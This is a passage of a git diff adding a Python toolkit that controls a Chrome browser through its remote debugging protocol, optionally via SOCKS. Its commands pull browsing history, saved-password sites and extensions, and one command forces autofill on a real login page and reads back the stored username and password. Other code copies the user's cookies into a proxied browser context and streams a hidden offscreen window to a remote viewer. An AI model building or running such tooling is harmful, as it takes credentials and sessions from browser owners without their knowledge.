CDPClient.connect(cdp_endpoint, socks) as cdp: + await cdp.dispose_browser_context(browser_context_id) + dump_json({"browserContextId": browser_context_id, "disposed": True}) + + run(_run()) + + +@page_app.command("close") +def page_close( + target: str, + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """Close a target by id or unique prefix.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + target_id = await resolve_target(cdp, target) + success = await cdp.close_target(target_id) + dump_json({"targetId": target_id, "closed": success}) + + run(_run()) + + +@page_app.command("snapshot") +def page_snapshot( + target: str, + kind: str = typer.Option("ax", "--kind", help="ax or dom"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """Capture an accessibility or DOM snapshot.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + target_id = await resolve_target(cdp, target) + session = await cdp.attach(target_id) + try: + if kind == "ax": + result = await session.send("Accessibility.getFullAXTree") + elif kind == "dom": + result = await session.send("DOMSnapshot.captureSnapshot", {"computedStyles": []}) + else: + raise typer.BadParameter("--kind must be ax or dom") + finally: + await cdp.detach(session) + dump_json(result, out) + + run(_run()) + + +@history_app.command("search") +def history_search( + text: Optional[str] = typer.Argument(None), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + domain: Optional[str] = typer.Option(None, "--domain"), + limit: int = typer.Option(100, "--limit", "-n"), + mode: str = typer.Option("background", "--mode", help="visible, background, hidden"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), +) -> None: + """Search browser History through CDP and the rendered history WebUI.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + return await collect_history(cdp, text=text, domain=domain, limit=limit, mode=mode) + + data = run(_run()) + dump_json(data, out) + console.print(f"[cyan]{len(data)}[/cyan] history rows collected through CDP") + + +@saved_passwords_app.command("list") +def saved_passwords_list( + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + limit: int = typer.Option(500, "--limit", "-n"), + mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), +) -> None: + """List saved-password site metadata through CDP. Does not decrypt passwords.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + return await collect_password_sites(cdp, limit=limit, mode=mode) + + data = run(_run()) + dump_json(data, out) + console.print(f"[cyan]{len(data)}[/cyan] saved-password site groups collected through CDP") + + +@saved_passwords_app.command("dump") +def saved_passwords_dump( + origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + mode: str = typer.Option("visible", "--mode", help="visible, background, hidden"), + username_selector: str = typer.Option("#username", "--username-selector"), + password_selector: str = typer.Option("#password", "--password-selector"), + inject_form: bool = typer.Option(True, "--inject-form/--no-inject-form"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), +) -> None: + """Attempt a controlled-form autofill readback on a real origin.""" + + async def _run(): + html = """ + +
+ + +
+ + """ + if inject_form: + user_sel = "#u" + pass_sel = "#p" + else: + user_sel = username_selector + pass_sel = password_selector + + user_sel_js = json.dumps(user_sel) + pass_sel_js = json.dumps(pass_sel) + ready_expr = f""" +(() => {{ + const user = document.querySelector({user_sel_js}); + const pass = document.querySelector({pass_sel_js}); + return {{ + readyState: document.readyState, + hasUser: !!user, + hasPass: !!pass + }}; +}})() +""" + pos_expr = f""" +(() => {{ + const user = document.querySelector({user_sel_js}); + const pass = document.querySelector({pass_sel_js}); + const ub = user.getBoundingClientRect(); + const pb = pass.getBoundingClientRect(); + return {{ + username_x: ub.left + ub.width / 2, + username_y: ub.top + ub.height / 2, + password_x: pb.left + pb.width / 2, + password_y: pb.top + pb.height / 2, + autocomplete_user: user.autocomplete || "", + autocomplete_pass: pass.autocomplete || "", + initial_username: user.value, + initial_password: pass.value + }}; +}})() +""" + read_expr = f""" +(() => {{ + const user = document.querySelector({user_sel_js}); + const pass = document.querySelector({pass_sel_js}); + return {{ + url: location.href, + username: user ? user.value : "", + password: pass ? pass.value : "" + }}; +}})() +""" + + async def value_from_eval(session, expression: str): + result = await session.evaluate(expression) + return result.get("result", {}).get("value") + + async def click(session, x: float, y: float) -> None: + await session.send("Input.dispatchMouseEvent", {"type": "mouseMoved", "x": x, "y": y, "button": "none"}) + await session.send("Input.dispatchMouseEvent", {"type": "mousePressed", "x": x, "y": y, "button": "left", "clickCount": 1}) + await session.send("Input.dispatchMouseEvent", {"type": "mouseReleased", "x": x, "y": y, "button": "left", "clickCount": 1}) + + async def key(session, event_type: str, key_name: str, code: str, vk: int) -> None: + await session.send( + "Input.dispatchKeyEvent", + { + "type": event_type, + "key": key_name, + "code": code, + "windowsVirtualKeyCode": vk, + "nativeVirtualKeyCode": vk, + }, + ) + + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + target_id = await cdp.create_target(origin, mode=mode) + session = await cdp.attach(target_id) + try: + await session.send("Page.enable") + await session.send("Runtime.enable") + await session.send("DOM.enable") + try: + await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True}) + except Exception as exc: + info(f"focus emulation unavailable: {exc}") + await session.send("Page.navigate", {"url": origin}) + await asyncio.sleep(1.0) + if inject_form: + frame_id = (await session.send("Page.getFrameTree"))["frameTree"]["frame"]["id"] + await session.send("Page.setDocumentContent", {"frameId": frame_id, "html": html}) + + ready = False + for _ in range(30): + state = await value_from_eval(session, ready_expr) or {} + if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}: + ready = True + break + await asyncio.sleep(0.25) + if not ready: + raise typer.BadParameter("target page never exposed the requested username/password selectors") + + pos = await value_from_eval(session, pos_expr) or {} + await click(session, float(pos["username_x"]), float(pos["username_y"])) + await asyncio.sleep(0.5) + await key(session, "keyDown", "ArrowDown", "ArrowDown", 40) + await key(session, "keyUp", "ArrowDown", "ArrowDown", 40) + await asyncio.sleep(0.2) + await key(session, "keyDown", "Enter", "Enter", 13) + await key(session, "keyUp", "Enter", "Enter", 13) + await asyncio.sleep(1.0) + result = await value_from_eval(session, read_expr) or {} + result["autocomplete_user"] = pos.get("autocomplete_user", "") + result["autocomplete_pass"] = pos.get("autocomplete_pass", "") + result["initial_username"] = pos.get("initial_username", "") + result["initial_password"] = pos.get("initial_password", "") + finally: + try: + await cdp.detach(session) + finally: + await cdp.close_target(target_id) + data = {"origin": origin, "mode": mode, "result": result} + dump_json(data, out) + + run(_run()) + + +@extensions_app.command("list") +def extensions_list( + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), +) -> None: + """List installed extensions through CDP and the rendered extensions WebUI.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + return await collect_extensions(cdp, mode=mode) + + data = run(_run()) + dump_json(data, out) + console.print(f"[cyan]{len(data)}[/cyan] extension rows collected through CDP") diff --git a/cdptoolkit/client.py b/cdptoolkit/client.py new file mode 100644 index 0000000..ccb6f40 --- /dev/null +++ b/cdptoolkit/client.py @@ -0,0 +1,158 @@ +from __future__ import annotations + +import base64 +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from .discovery import BrowserEndpoint, get_version +from .log import info +from .transport import CDPConnection + + +@dataclass +class TargetSession: + client: "CDPClient" + target_id: str + session_id: str + + async def send(self, method: str, params: dict | None = None) -> dict: + return await self.client.send(method, params, session_id=self.session_id) + + async def evaluate(self, expression: str, *, return_by_value: bool = True, await_promise: bool = True) -> dict: + return await self.send( + "Runtime.evaluate", + { + "expression": expression, + "returnByValue": return_by_value, + "awaitPromise": await_promise, + "userGesture": True, + }, + ) + + +class CDPClient: + def __init__(self, endpoint: BrowserEndpoint, connection: CDPConnection): + self.endpoint = endpoint + self.connection = connection + + @classmethod + async def connect(cls, cdp_endpoint: str, socks: str | None = None) -> "CDPClient": + info("connecting to CDP endpoint {}", cdp_endpoint) + endpoint = await get_version(cdp_endpoint, proxy=socks) + conn = CDPConnection(endpoint.web_socket_debugger_url, proxy=socks) + await conn.connect() + info("connected to {}", endpoint.product) + return cls(endpoint, conn) + + async def __aenter__(self) -> "CDPClient": + return self + + async def __aexit__(self, exc_type, exc, tb) -> None: + await self.close() + + async def close(self) -> None: + info("closing browser client") + await self.connection.close() + + async def send(self, method: str, params: dict | None = None, session_id: str | None = None) -> dict: + return await self.connection.send(method, params, session_id=session_id) + + async def send_no_wait(self, method: str, params: dict | None = None, session_id: str | None = None) -> int: + return await self.connection.send_no_wait(method, params, session_id=session_id) + + async def targets(self, include_non_pages: bool = False) -> list[dict]: + result = await self.send("Target.getTargets") + targets = result.get("targetInfos", []) + info("received {} targets", len(targets)) + if include_non_pages: + return targets + pages = [target for target in targets if target.get("type") == "page"] + info("filtered to {} page targets", len(pages)) + return pages + + async def attach(self, target_id: str) -> TargetSession: + info("attaching to target {}", target_id) + result = await self.send("Target.attachToTarget", {"targetId": target_id, "flatten": True}) + info("attached session {}", result["sessionId"]) + return TargetSession(self, target_id, result["sessionId"]) + + async def detach(self, session: TargetSession) -> None: + info("detaching session {}", session.session_id) + await self.send("Target.detachFromTarget", {"sessionId": session.session_id}) + + async def create_browser_context(self, *, proxy_server: str | None = None, dispose_on_detach: bool = True) -> str: + params: dict[str, Any] = {"disposeOnDetach": dispose_on_detach} + if proxy_server: + params["proxyServer"] = proxy_server + info("creating browser context{} disposeOnDetach={}", f" proxy={proxy_server}" if proxy_server else "", dispose_on_detach) + result = await self.send("Target.createBrowserContext", params) + info("created browser context {}", result["browserContextId"]) + return result["browserContextId"] + + async def browser_contexts(self) -> list[str]: + result = await self.send("Target.getBrowserContexts") + contexts = result.get("browserContextIds", []) + info("received {} non-default browser contexts", len(contexts)) + return contexts + + async def dispose_browser_context(self, browser_context_id: str) -> None: + info("disposing browser context {}", browser_context_id) + await self.send("Target.disposeBrowserContext", {"browserContextId": browser_context_id}) + + async def create_target( + self, + url: str, + *, + mode: str = "visible", + browser_context_id: str | None = None, + focus: bool | None = None, + ) -> str: + params: dict[str, Any] = {"url": url} + if browser_context_id: + params["browserContextId"] = browser_context_id + if mode == "hidden": + params["hidden"] = True + params["background"] = True + elif mode == "background": + params["background"] = True + if focus is not None: + params["focus"] = focus + info("creating target url={} mode={} context={}", url, mode, browser_context_id or "default") + result = await self.send("Target.createTarget", params) + info("created target {}", result["targetId"]) + return result["targetId"] + + async def close_target(self, target_id: str) -> bool: + info("closing target {}", target_id) + result = await self.send("Target.closeTarget", {"targetId": target_id}) + return bool(result.get("success", True)) + + async def get_cookies(self, browser_context_id: str | None = None) -> list[dict]: + params = {} + if browser_context_id: + params["browserContextId"] = browser_context_id + result = await self.send("Storage.getCookies", params) + cookies = result.get("cookies", []) + info("received {} cookies", len(cookies)) + return cookies + + async def set_cookies(self, cookies: list[dict], browser_context_id: str | None = None) -> None: + params: dict[str, Any] = {"cookies": cookies} + if browser_context_id: + params["browserContextId"] = browser_context_id + info("setting {} cookies{}", len(cookies), f" in context {browser_context_id}" if browser_context_id else "") + await self.send("Storage.setCookies", params) + + async def screenshot(self, target_id: str, out: Path, *, full: bool = False) -> Path: + session = await self.attach(target_id) + try: + params: dict[str, Any] = {"format": "png"} + if full: + params["captureBeyondViewport"] = True + result = await session.send("Page.captureScreenshot", params) + out.write_bytes(base64.b64decode(result["data"])) + info("wrote screenshot {}", out) + return out + finally: + await self.detach(session) diff --git a/cdptoolkit/config.py b/cdptoolkit/config.py new file mode 100644 index 0000000..f548de5 --- /dev/null +++ b/cdptoolkit/config.py @@ -0,0 +1,6 @@ +from __future__ import annotations + +import os + + +DEFAULT_TIMEOUT = float(os.environ.get("CDPTK_TIMEOUT", "10")) diff --git a/cdptoolkit/discovery.py b/cdptoolkit/discovery.py new file mode 100644 index 0000000..2b638ff --- /dev/null +++ b/cdptoolkit/discovery.py @@ -0,0 +1,75 @@ +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path +from urllib.parse import urljoin + +import httpx + +from .config import DEFAULT_TIMEOUT +from .log import info + + +@dataclass(frozen=True) +class BrowserEndpoint: + cdp_endpoint: str + web_socket_debugger_url: str + product: str + protocol_version: str + user_agent: str + raw: dict + + +def normalize_cdp_endpoint(cdp_endpoint: str) -> str: + if cdp_endpoint.startswith("ws://") or cdp_endpoint.startswith("wss://"): + return cdp_endpoint + return cdp_endpoint.rstrip("/") + + +async def get_json(cdp_endpoint: str, path: str, proxy: str | None = None, timeout: float = DEFAULT_TIMEOUT) -> dict | list: + base = normalize_cdp_endpoint(cdp_endpoint) + if base.startswith("ws://") or base.startswith("wss://"): + raise ValueError("HTTP JSON endpoints require --cdp-endpoint, not a WebSocket endpoint") + url = urljoin(base + "/", path.lstrip("/")) + info("GET {}{}", url, f" via {proxy}" if proxy else "") + async with httpx.AsyncClient(proxy=proxy, timeout=timeout) as client: + response = await client.get(url) + response.raise_for_status() + info("HTTP {} {}", response.status_code, url) + return response.json() + + +async def get_version(cdp_endpoint: str, proxy: str | None = None) -> BrowserEndpoint: + data = await get_json(cdp_endpoint, "/json/version", proxy=proxy) + if not isinstance(data, dict): + raise ValueError("/json/version did not return an object") + ws = data.get("webSocketDebuggerUrl") + if not ws: + raise ValueError("/json/version did not include webSocketDebuggerUrl") + info("resolved browser websocket {}", ws) + return BrowserEndpoint( + cdp_endpoint=normalize_cdp_endpoint(cdp_endpoint), + web_socket_debugger_url=ws, + product=data.get("Browser", ""), + protocol_version=data.get("Protocol-Version", ""), + user_agent=data.get("User-Agent", ""), + raw=data, + ) + + +async def list_http_targets(cdp_endpoint: str, proxy: str | None = None) -> list[dict]: + data = await get_json(cdp_endpoint, "/json/list", proxy=proxy) + if isinstance(data, dict) and "value" in data: + data = data["value"] + if not isinstance(data, list): + raise ValueError("/json/list did not return a list") + return data + + +def endpoint_from_devtools_active_port(path: Path) -> str: + info("reading DevToolsActivePort {}", path) + lines = [line.strip() for line in path.read_text(encoding="utf-8", errors="replace").splitlines() if line.strip()] + if not lines: + raise ValueError(f"{path} is empty") + port = int(lines[0]) + return f"http://127.0.0.1:{port}" diff --git a/cdptoolkit/log.py b/cdptoolkit/log.py new file mode 100644 index 0000000..1eefaf4 --- /dev/null +++ b/cdptoolkit/log.py @@ -0,0 +1,33 @@ +from __future__ import annotations + +import os +from typing import Any + +from rich.console import Console + + +_console = Console(stderr=True) +_verbose = os.environ.get("CDPTK_VERBOSE", "").lower() in {"1", "true", "yes", "on"} + + +def set_verbose(enabled: bool) -> None: + global _verbose + _verbose = enabled + + +def is_verbose() -> bool: + return _verbose + + +def info(message: str, *values: Any) -> None: + if _verbose: + if values: + message = message.format(*values) + _console.print(f"[dim cyan]info[/dim cyan] {message}") + + +def warn(message: str, *values: Any) -> None: + if values: + message = message.format(*values) + _console.print(f"[yellow]warn[/yellow] {message}") + diff --git a/cdptoolkit/redact.py b/cdptoolkit/redact.py new file mode 100644 index 0000000..cf266a9 --- /dev/null +++ b/cdptoolkit/redact.py @@ -0,0 +1,53 @@ +from __future__ import annotations + +import copy +import re +from typing import Any + + +SECRET_KEYS = { + "authorization", + "cookie", + "set-cookie", + "password", + "passwd", + "token", + "access_token", + "refresh_token", + "secret", +} + +JWT_RE = re.compile(r"\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b") +BEARER_RE = re.compile(r"\bBearer\s+[A-Za-z0-9._~+/=-]{12,}", re.IGNORECASE) + + +def _mask(value: Any) -> str: + text = "" if value is None else str(value) + return f"[REDACTED:{len(text)}]" + + +def redact_value(value: Any) -> Any: + if isinstance(value, str): + value = JWT_RE.sub("[REDACTED:jwt]", value) + value = BEARER_RE.sub("[REDACTED:bearer]", value) + return value + + +def redact_obj(obj: Any) -> Any: + data = copy.deepcopy(obj) + + def walk(value: Any, key: str | None = None) -> Any: + if key and key.lower() in SECRET_KEYS: + return _mask(value) + if isinstance(value, dict): + return {k: walk(v, k) for k, v in value.items()} + if isinstance(value, list): + return [walk(item) for item in value] + return redact_value(value) + + return walk(data) + + +def redact_cookies(cookies: list[dict]) -> list[dict]: + return [{**cookie, "value": _mask(cookie.get("value", ""))} for cookie in cookies] + diff --git a/cdptoolkit/remote_browser.py b/cdptoolkit/remote_browser.py new file mode 100644 index 0000000..9bb292f --- /dev/null +++ b/cdptoolkit/remote_browser.py @@ -0,0 +1,857 @@ +from __future__ import annotations + +import asyncio +import contextlib +import json +import time +from dataclasses import dataclass +from typing import Any + +from aiohttp import WSMsgType, web + +from .client import CDPClient, TargetSession +from .log import info + + +def normalize_url(url: str | None) -> str: + value = (url or "").strip() + if not value: + return "about:blank" + if "://" not in value and not value.startswith("about:"): + return "https://" + value + return value + + +def normalize_browser_socks(proxy: str | None) -> str | None: + if proxy and proxy.lower().startswith("socks5h://"): + return "socks5://" + proxy[len("socks5h://") :] + return proxy + + +@dataclass(slots=True) +class RemoteBrowserOptions: + cdp_endpoint: str + listen_host: str + listen_port: int + socks: str | None = None + browser_socks: str | None = None + start_url: str = "about:blank" + mode: str = "offscreen" + width: int = 1440 + height: int = 900 + quality: int = 70 + every_nth_frame: int = 1 + offscreen_left: int = -2400 + offscreen_top: int = -1200 + close_target: bool = True + import_cookies: bool = True + + +class RemoteBrowserServer: + def __init__(self, options: RemoteBrowserOptions): + self.options = options + self.cdp: CDPClient | None = None + self.session: TargetSession | None = None + self.target_id: str | None = None + self.browser_context_id: str | None = None + self.window_id: int | None = None + self._closed = asyncio.Event() + self._clients: set[web.WebSocketResponse] = set() + self._screencast_task: asyncio.Task | None = None + self._state_task: asyncio.Task | None = None + self._last_frame: dict[str, Any] | None = None + self._last_state: dict[str, Any] | None = None + self._started_at = time.time() + + async def start(self) -> None: + if self.options.mode not in {"offscreen", "foreground", "background"}: + raise ValueError("--mode must be offscreen, foreground, or background") + + self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks) + await self._create_target() + await self._enable_target() + self._screencast_task = asyncio.create_task(self._screencast_loop()) + self._state_task = asyncio.create_task(self._state_loop()) + + async def close(self) -> None: + if self._closed.is_set(): + return + self._closed.set() + for task in (self._screencast_task, self._state_task): + if task: + task.cancel() + with contextlib.suppress(asyncio.CancelledError): + await task + for ws in list(self._clients): + with contextlib.suppress(Exception): + await ws.close() + self._clients.clear() + + if self.session: + with contextlib.suppress(Exception): + await self.session.send("Page.stopScreencast") + if self.cdp: + with contextlib.suppress(Exception): + await self.cdp.detach(self.session) + self.session = None + + if self.cdp: + if self.target_id and self.options.close_target: + with contextlib.suppress(Exception): + await self.cdp.close_target(self.target_id) + if self.browser_context_id: + with contextlib.suppress(Exception): + await self.cdp.dispose_browser_context(self.browser_context_id) + await self.cdp.close() + self.cdp = None + + async def wait_closed(self) -> None: + await self._closed.wait() + + async def _create_target(self) -> None: + assert self.cdp is not None + effective_browser_socks = normalize_browser_socks(self.options.browser_socks) + if effective_browser_socks: + self.browser_context_id = await self.cdp.create_browser_context( + proxy_server=effective_browser_socks, + dispose_on_detach=False, + ) + if self.options.import_cookies: + cookies = await self.cdp.get_cookies() + await self.cdp.set_cookies(cookies, browser_context_id=self.browser_context_id) + info("imported {} cookies into proxied browser context", len(cookies)) + + params: dict[str, Any] = {"url": "about:blank"} + if self.browser_context_id: + params["browserContextId"] = self.browser_context_id + if self.options.mode in {"offscreen", "foreground"}: + params.update( + { + "newWindow": True, + "width": self.options.width, + "height": self.options.height, + "background": self.options.mode == "offscreen", + } + ) + if self.options.mode == "offscreen": + params["left"] = self.options.offscreen_left + params["top"] = self.options.offscreen_top + elif self.options.mode == "background": + params["background"] = True + + info("creating remote-browser target mode={} url={}", self.options.mode, self.options.start_url) + result = await self.cdp.send("Target.createTarget", params) + self.target_id = result["targetId"] + self.session = await self.cdp.attach(self.target_id) + + if self.options.mode in {"offscreen", "foreground"}: + with contextlib.suppress(Exception): + window = await self.cdp.send("Browser.getWindowForTarget", {"targetId": self.target_id}) + self.window_id = int(window["windowId"]) + bounds: dict[str, Any] = { + "width": self.options.width, + "height": self.options.height, + "windowState": "normal", + } + if self.options.mode == "offscreen": + bounds["left"] = self.options.offscreen_left + bounds["top"] = self.options.offscreen_top + await self.cdp.send("Browser.setWindowBounds", {"windowId": self.window_id, "bounds": bounds}) + + async def _enable_target(self) -> None: + assert self.session is not None + await self.session.send("Page.enable") + await self.session.send("Runtime.enable") + with contextlib.suppress(Exception): + await self.session.send("Emulation.setFocusEmulationEnabled", {"enabled": True}) + with contextlib.suppress(Exception): + await self.session.send( + "Emulation.setDeviceMetricsOverride", + { + "width": self.options.width, + "height": self.options.height, + "deviceScaleFactor": 1, + "mobile": False, + "screenWidth": self.options.width, + "screenHeight": self.options.height, + }, + ) + if self.options.mode == "foreground": + with contextlib.suppress(Exception): + await self.session.send("Page.bringToFront") + await self.session.send("Page.navigate", {"url": normalize_url(self.options.start_url)}) + await self.session.send( + "Page.startScreencast", + { + "format": "jpeg", + "quality": self.options.quality, + "maxWidth": self.options.width, + "maxHeight": self.options.height, + "everyNthFrame": self.options.every_nth_frame, + }, + ) + + async def _screencast_loop(self) -> None: + assert self.cdp is not None + assert self.session is not None + while not self._closed.is_set(): + try: + msg = await self.cdp.connection.wait_for_event("Page.screencastFrame", timeout=30) + except asyncio.TimeoutError: + info("waiting for screencast frames from target {}", self.target_id) + continue + if msg.get("sessionId") != self.session.session_id: + continue + params = msg.get("params", {}) + metadata = params.get("metadata", {}) + frame = { + "type": "frame", + "data": params.get("data", ""), + "metadata": metadata, + "frameSessionId": params.get("sessionId"), + "targetId": self.target_id, + "ts": time.time(), + } + self._last_frame = frame + await self.session.send("Page.screencastFrameAck", {"sessionId": params.get("sessionId")}) + await self._broadcast(frame) + + async def _state_loop(self) -> None: + while not self._closed.is_set(): + try: + state = await self.current_state() + self._last_state = state + await self._broadcast({"type": "state", "state": state}) + except Exception as exc: + info("state poll failed: {}", exc) + await asyncio.sleep(1) + + async def current_state(self) -> dict[str, Any]: + assert self.session is not None + result = await self.session.evaluate( + """ +(() => ({ + url: location.href, + title: document.title, + readyState: document.readyState, + width: window.innerWidth, + height: window.innerHeight, + scrollX: window.scrollX, + scrollY: window.scrollY +}))() +""" + ) + value = result.get("result", {}).get("value") or {} + return { + "url": value.get("url", ""), + "title": value.get("title", ""), + "readyState": value.get("readyState", ""), + "width": int(value.get("width") or self.options.width), + "height": int(value.get("height") or self.options.height), + "scrollX": value.get("scrollX", 0), + "scrollY": value.get("scrollY", 0), + "mode": self.options.mode, + "targetId": self.target_id, + "browserContextId": self.browser_context_id, + "uptimeSeconds": round(time.time() - self._started_at, 1), + } + + async def handle_ws(self, request: web.Request) -> web.WebSocketResponse: + ws = web.WebSocketResponse(max_msg_size=4 * 1024 * 1024, heartbeat=25) + await ws.prepare(request) + self._clients.add(ws) + if self._last_state: + await ws.send_str(json.dumps({"type": "state", "state": self._last_state}, separators=(",", ":"))) + if self._last_frame: + await ws.send_str(json.dumps(self._last_frame, separators=(",", ":"))) + try: + async for msg in ws: + if msg.type == WSMsgType.TEXT: + await self.handle_client_message(ws, json.loads(msg.data)) + elif msg.type in {WSMsgType.ERROR, WSMsgType.CLOSE}: + break + finally: + self._clients.discard(ws) + return ws + + async def handle_client_message(self, ws: web.WebSocketResponse, payload: dict[str, Any]) -> None: + assert self.session is not None + kind = payload.get("type") + if kind == "navigate": + await self.session.send("Page.navigate", {"url": normalize_url(payload.get("url"))}) + elif kind == "reload": + await self.session.send("Page.reload", {"ignoreCache": bool(payload.get("ignoreCache", False))}) + elif kind == "history": + await self._go_history(int(payload.get("delta", 0))) + elif kind == "mouse": + await self._dispatch_mouse(payload) + elif kind == "scroll": + await self._dom_scroll(float(payload.get("deltaX", 0)), float(payload.get("deltaY", 0))) + elif kind == "key": + await self._dispatch_key(payload) + elif kind == "text": + await self.session.send("Input.insertText", {"text": str(payload.get("text", ""))}) + elif kind == "copy": + result = await self._copy_text() + await ws.send_str(json.dumps({"type": "clipboard", **result}, separators=(",", ":"))) + elif kind == "close": + await self.close() + + async def _go_history(self, delta: int) -> None: + if delta == 0: + return + assert self.session is not None + history = await self.session.send("Page.getNavigationHistory") + entries = history.get("entries", []) + target_index = int(history.get("currentIndex", 0)) + delta + if 0 <= target_index < len(entries): + await self.session.send("Page.navigateToHistoryEntry", {"entryId": entries[target_index]["id"]}) + + async def _dispatch_mouse(self, payload: dict[str, Any]) -> None: + assert self.session is not None + params: dict[str, Any] = { + "type": str(payload.get("event", "mouseMoved")), + "x": float(payload.get("x", 0)), + "y": float(payload.get("y", 0)), + "button": str(payload.get("button", "none")), + "modifiers": int(payload.get("modifiers", 0)), + } + if "clickCount" in payload: + params["clickCount"] = int(payload.get("clickCount") or 1) + if params["type"] == "mouseWheel": + params["deltaX"] = float(payload.get("deltaX", 0)) + params["deltaY"] = float(payload.get("deltaY", 0)) + await self.session.send("Input.dispatchMouseEvent", params) + + async def _dom_scroll(self, delta_x: float, delta_y: float) -> None: + assert self.session is not None + await self.session.evaluate( + f""" +(() => {{ + const deltaX = {delta_x}; + const deltaY = {delta_y}; + const x = Math.max(1, Math.floor(window.innerWidth / 2)); + const y = Math.max(1, Math.floor(window.innerHeight / 2)); + const canScroll = (node) => {{ + if (!node) return false; + if (node === document.body || node === document.documentElement) {{ + return document.documentElement.scrollHeight > window.innerHeight || + document.documentElement.scrollWidth > window.innerWidth; + }} + const style = window.getComputedStyle(node); + const yScrollable = ['auto', 'scroll', 'overlay'].includes(style.overflowY) && + node.scrollHeight > node.clientHeight; + const xScrollable = ['auto', 'scroll', 'overlay'].includes(style.overflowX) && + node.scrollWidth > node.clientWidth; + return yScrollable || xScrollable; + }}; + let target = document.elementFromPoint(x, y); + while (target && target !== document.body && target !== document.documentElement && !canScroll(target)) {{ + target = target.parentElement; + }} + if (!target || target === document.body || target === document.documentElement || !canScroll(target)) {{ + window.scrollBy(deltaX, deltaY); + return {{ ok: true, target: 'window', scrollX: window.scrollX, scrollY: window.scrollY }}; + }} + target.scrollLeft += deltaX; + target.scrollTop += deltaY; + return {{ + ok: true, + target: target.tagName || 'element', + scrollLeft: target.scrollLeft, + scrollTop: target.scrollTop, + windowScrollX: window.scrollX, + windowScrollY: window.scrollY + }}; +}})() +""" + ) + + async def _dispatch_key(self, payload: dict[str, Any]) -> None: + assert self.session is not None + params: dict[str, Any] = { + "type": str(payload.get("event", "keyDown")), + "key": str(payload.get("key", "")), + "code": str(payload.get("code", "")), + "windowsVirtualKeyCode": int(payload.get("windowsVirtualKeyCode", 0)), + "nativeVirtualKeyCode": int(payload.get("nativeVirtualKeyCode", 0)), + "modifiers": int(payload.get("modifiers", 0)), + } + text = str(payload.get("text", "")) + if text: + params["text"] = text + params["unmodifiedText"] = str(payload.get("unmodifiedText") or text) + await self.session.send("Input.dispatchKeyEvent", params) + + async def _copy_text(self) -> dict[str, Any]: + assert self.session is not None + result = await self.session.evaluate( + """ +(() => { + const selection = (window.getSelection && window.getSelection().toString()) || ''; + if (selection) return { ok: true, text: selection, source: 'selection' }; + const active = document.activeElement; + if (active && typeof active.value === 'string') { + const start = typeof active.selectionStart === 'number' ? active.selectionStart : 0; + const end = typeof active.selectionEnd === 'number' ? active.selectionEnd : active.value.length; + const text = end > start ? active.value.slice(start, end) : active.value; + return { ok: true, text, source: 'active-value' }; + } + if (active && active.isContentEditable) { + return { ok: true, text: active.innerText || active.textContent || '', source: 'contenteditable' }; + } + return { ok: false, text: '', source: '', reason: 'no selected or focused text' }; +})() +""" + ) + return result.get("result", {}).get("value") or {"ok": False, "text": "", "reason": "copy failed"} + + async def _broadcast(self, payload: dict[str, Any]) -> None: + if not self._clients: + return + text = json.dumps(payload, separators=(",", ":")) + stale: list[web.WebSocketResponse] = [] + for ws in self._clients: + try: + await ws.send_str(text) + except Exception: + stale.append(ws) + for ws in stale: + self._clients.discard(ws) + + +VIEWER_HTML = """ + + + + + CDP Browser + + + +
+
+ +
+ + + + +
+
+ connecting + + +
+
+
+ +
+
+ + + +""" + + +async def health(request: web.Request) -> web.Response: + server: RemoteBrowserServer = request.app["remote_browser"] + return web.json_response( + { + "ok": not server._closed.is_set(), + "targetId": server.target_id, + "browserContextId": server.browser_context_id, + "lastFrame": bool(server._last_frame), + "state": server._last_state or {}, + } + ) + + +async def index(_: web.Request) -> web.Response: + return web.Response(text=VIEWER_HTML, content_type="text/html") + + +async def websocket(request: web.Request) -> web.WebSocketResponse: + server: RemoteBrowserServer = request.app["remote_browser"] + return await server.handle_ws(request) + + +async def serve_remote_browser(options: RemoteBrowserOptions) -> None: + server = RemoteBrowserServer(options) + await server.start() + app = web.Application() + app["remote_browser"] = server + app.add_routes( + [ + web.get("/", index), + web.get("/healthz", health), + web.get("/ws", websocket), + ] + ) + runner = web.AppRunner(app, access_log=None) + await runner.setup() + site = web.TCPSite(runner, options.listen_host, options.listen_port) + await site.start() + print(f"CDP browser listening on http://{options.listen_host}:{options.listen_port}") + print(f"Controlling {options.cdp_endpoint} target {str(server.target_id or 